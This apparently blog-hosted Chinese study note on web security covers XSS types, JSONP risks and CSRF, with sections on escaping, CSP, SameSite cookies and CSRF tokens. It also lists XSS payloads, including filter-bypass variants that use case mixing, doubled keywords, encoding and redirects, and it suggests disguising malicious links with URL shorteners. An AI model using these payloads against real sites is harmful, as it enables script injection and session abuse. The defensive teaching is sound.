# XSS

# 反射型

非持久型 XSS,payload 直接在 URL 中构造,然后将恶意链接发送给用户

比如 http://www.test.com/message.php?send=<script>alert(666)</script>

为了避免引起怀疑,还可以使用短链接替换

https://i.bakar.moe/assets/img/2023/7/3ab2a63844f041845d7b9887ff173f7a.png

# 存储型

持久型 XSS,payload 存入了服务器的数据库,每当用户访问有漏洞的页面,服务器从数据库取出 payload 显示在浏览器中,就会触发恶意代码

https://i.bakar.moe/assets/img/2023/7/1e581697d6e5bb73fe76b2fffdf65f9e.png

# DOM 型

DOM 型 XSS 是特殊的反射型 XSS,指的是因为使用了不安全的 DOM 属性而导致的反射型,例如 document.location , document.URL , document.referrer

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2, document.URL.length));
</script>

# JSONP

JSONP (JSON with Padding) 是 JSON 的一种使用模式,可以使得页面从别的域名获取资源而不触发同源策略

JSONP 需要以下两个方面配合实现:

  • API 服务器实现 JSONP 接口,正确响应回调函数
  • 浏览器端在请求脚本中定义回调函数,并设置 callback 参数指向该回调函数
// 浏览器端
<script>
function handleResponse(response) {
  // 获取数据后的处理
} 
</script>
<script src="http://api.server.com?callback=handleResponse"></script>
// 服务器端需要封装 JSON 为函数调用形式
handleResponse({
  // json data
});

典型的 JSONP XSS payload:

http://xx.com/jsonp?callback=alert`1`&data=test

# 基础 payload

  • <script>alert(/XSS/)</script>
  • <img src=1 onerror=alert(/xss/)> : onerror 属性
  • <iframe onload=alert(/xss/)></iframe> : onload 属性
  • <link rel=import href="http://127.0.0.1/1.js"> : 利用 link 远程包含文件
  • <a href="javascript:alert('xss')">链接</a> : 伪协议
  • <iframe src=javascript:alert('xss')></iframe> : 伪协议
  • <img src="1.jpg" ondblclick="alert(/xss/)"> : ondblclick 属性
  • <form action="javascript:alert(/xss/)"><input type=submit>

# 变形 payload

过滤空格、关键字、单双引号,可以采用双写关键字、大小写混用、字符拼接、混淆等

  • <iMg/src="x"/oneRroR=alert("xss")> : / 代替空格,大小写混用
  • <iMg%0asrc="x"oneRroR=alert("xss")> : %0a 代替空格
  • <iMimgg/srsrcc="x"/oneRroR=alert("xss")> : 双写关键字 img , src
  • <iMg/src="x"/oneRroR="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  • <script>top["al"+"ert"]('xss');</script> : 字符拼接
  • <title><img src=</title>><img src=x onerror="alert('xss');">
  • <a/HrEf='javaScript:alert(/xss/)'>click</a>
  • <iMg/src="x"/oneRroR="="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#34;&#41;&#59;"> : Unicode 编码绕过
  • <iMgiMg/src="x"/oneRroR="eval(unescape('%61%6c%65%72%74%28%22%78%73%22%29%3b'))"> : URL 编码绕过
  • <img src="x" onerror=document.location='//www.baidu.com'> : // 代替 http://
  • <img src="x" onerror=document.location='http://www。baidu。com'"> : 代替 .
  • <img src="x" onerror=document.location='http://2130706433/'> : 十进制 IP

# 防御

XSS 攻击有两大要素:

  1. 攻击者提交恶意代码
  2. 浏览器执行恶意代码

因此根本的解决需要从输入到输出都进行过滤、转义

# 输入

最基本的 HTMLEncode,将字符串转换为 HTMLEntities(实体化转义): & < > " ' /

对于富文本输入,需要注意几个方面:

  1. 确保输入的是完整 HTML,而不是有拼接的代码
  2. 通过 htmlparser 能解析出 HTML 代码的标签、属性、事件
  3. 禁止所有事件,并禁止 <iframe> <script> <base> <form> 等危险标签
  4. 利用白名单,只允许安全标签如 <div> <a> <img> 等,白名单不仅适用标签,也适用于属性
  5. 过滤用户 CSS

# 输出

# HTML 输出

HTMLEncode,与输入的转义相同

# JavaScript 输出

JSONP 中可以通过意外截断 JSON 数据或者在页面中玩转引号来造成 XSS 攻击

let a = "get_param"
// get_param = ";alert(1);//
a = "";alert(1);//"

使用 JavaScriptEncode 转义,即使用 \ 对特殊字符转义

# CSS 输出

严格控制用户将变量输入至 style 标签,也不要引用未知的 CSS 文件

如果有特别的需求,可以使用如 encodeForCSS() 的编码函数

# URL 输出

使用 URLEncode

# 其他

# JSONP

  1. 严格定义 Content-Type: application/json ,因为浏览器渲染依靠该字段值,标记为 json 时即使内容全是 HTML 标签,浏览器也不会渲染;只要接口返回的不是 HTML,那么一定不要设置为 HTML
  2. callback 做长度限制,比如函数名限制 50 个字符内
  3. 检测 callback 内的字符,仅允许 [ , ] , a-zA-Z0-9_ , $ , .
  4. 过滤,原理同转义

# Web 安全头支持

  1. CSP (Content Secutiry Policy),可以用来定义页面可以加载哪些资源
  2. X-Download-Options: noopen : 禁用下载框 Open 按钮
  3. X-Content-Type-Options: nosniff : 禁用 IE8 自动嗅探 mime 功能,如 text/plain 当成 text/html 渲染
  4. X-XSS-Protection : IE 提供的一些 XSS 检测与防范,默认开启

# CSRF

利用受害者尚未失效的身份信息,诱骗其点击恶意链接,在不知情的情况下以其身份发起请求

# GET 型

构造 URL,诱导受害者访问

https://i.bakar.moe/assets/img/2023/7/169a2c91a2b4fe1cea4a374f876f7962.png

# POST 型

构造自动提交或点击提交的表单,诱导受害者访问或点击

https://i.bakar.moe/assets/img/2023/7/c12720b3f98dae1cc7f3754c6ff38c29.png

# 检测

抓取一个正常的请求数据包,如果没有 Referer 字段和 token ,那么极有可能存在 CSRF 漏洞

如果有 Referer 字段,但是去掉以后重新提交依然有效,也可以判断存在 CSRF

# 防御

# 阻止不明外部域名访问

# 同源检测

浏览器同源策略:协议、域名、端口都相同即同源

Cookie 同源策略:域名相同即同源

浏览器发起请求时,一般会自动加上 OriginReferer 两个 Header ,并且不能由前端修改,服务器可以靠这两个 Header 确定来源的域名

CSRF 大多数来源于第三方域名,但也并不能排除本域发起,因此同源检测并不能完全阻止 CSRF

Samesite 属性用来限制第三方 Cookie,有以下几种值:

  • Samesite = Strict : 完全禁止第三方 Cookie,跨站点时任何情况都不发送 Cookie
  • Samesite = Lax : 除了 a 链接、预加载请求和 GET 表单以外都不发送 Cookie
  • Samesite = None : 关闭该属性,但同时必须设置 Samesite = None; Secure

设置 StrictLax 基本就能阻止 CSRF 攻击

# CSRF Token

要求所有请求都携带一个无法被劫持的 Token,达到防止 CSRF 的目的

  1. 用户打开页面时,服务器给用户生成一个 token ,一般包括随机字符串和时间戳的组合,并使用算法加密
  2. 对于 GET 请求,直接附在 URL 之后,如 http://example.com?token=tokenValue
  3. 对于 POST 请求,在表单后加上 <input type="hidden" name="token" value="tokenValue">
  4. 服务端首先解密 token ,提取随机字符串和时间戳,验证字符串是否一致、时间是否有效

# GET 请求幂等性

不要在 GET 请求中对数据进行修改,限制只能读取

此文章已被阅读次数:正在加载...更新于

请我喝[茶]~( ̄▽ ̄)~*

2rrrr 微信支付

微信支付

2rrrr 支付宝

支付宝